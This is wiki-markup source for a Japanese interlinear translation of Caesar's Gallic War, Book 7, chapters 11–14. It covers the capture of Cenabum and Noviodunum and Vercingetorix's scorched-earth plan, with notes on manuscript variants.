*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
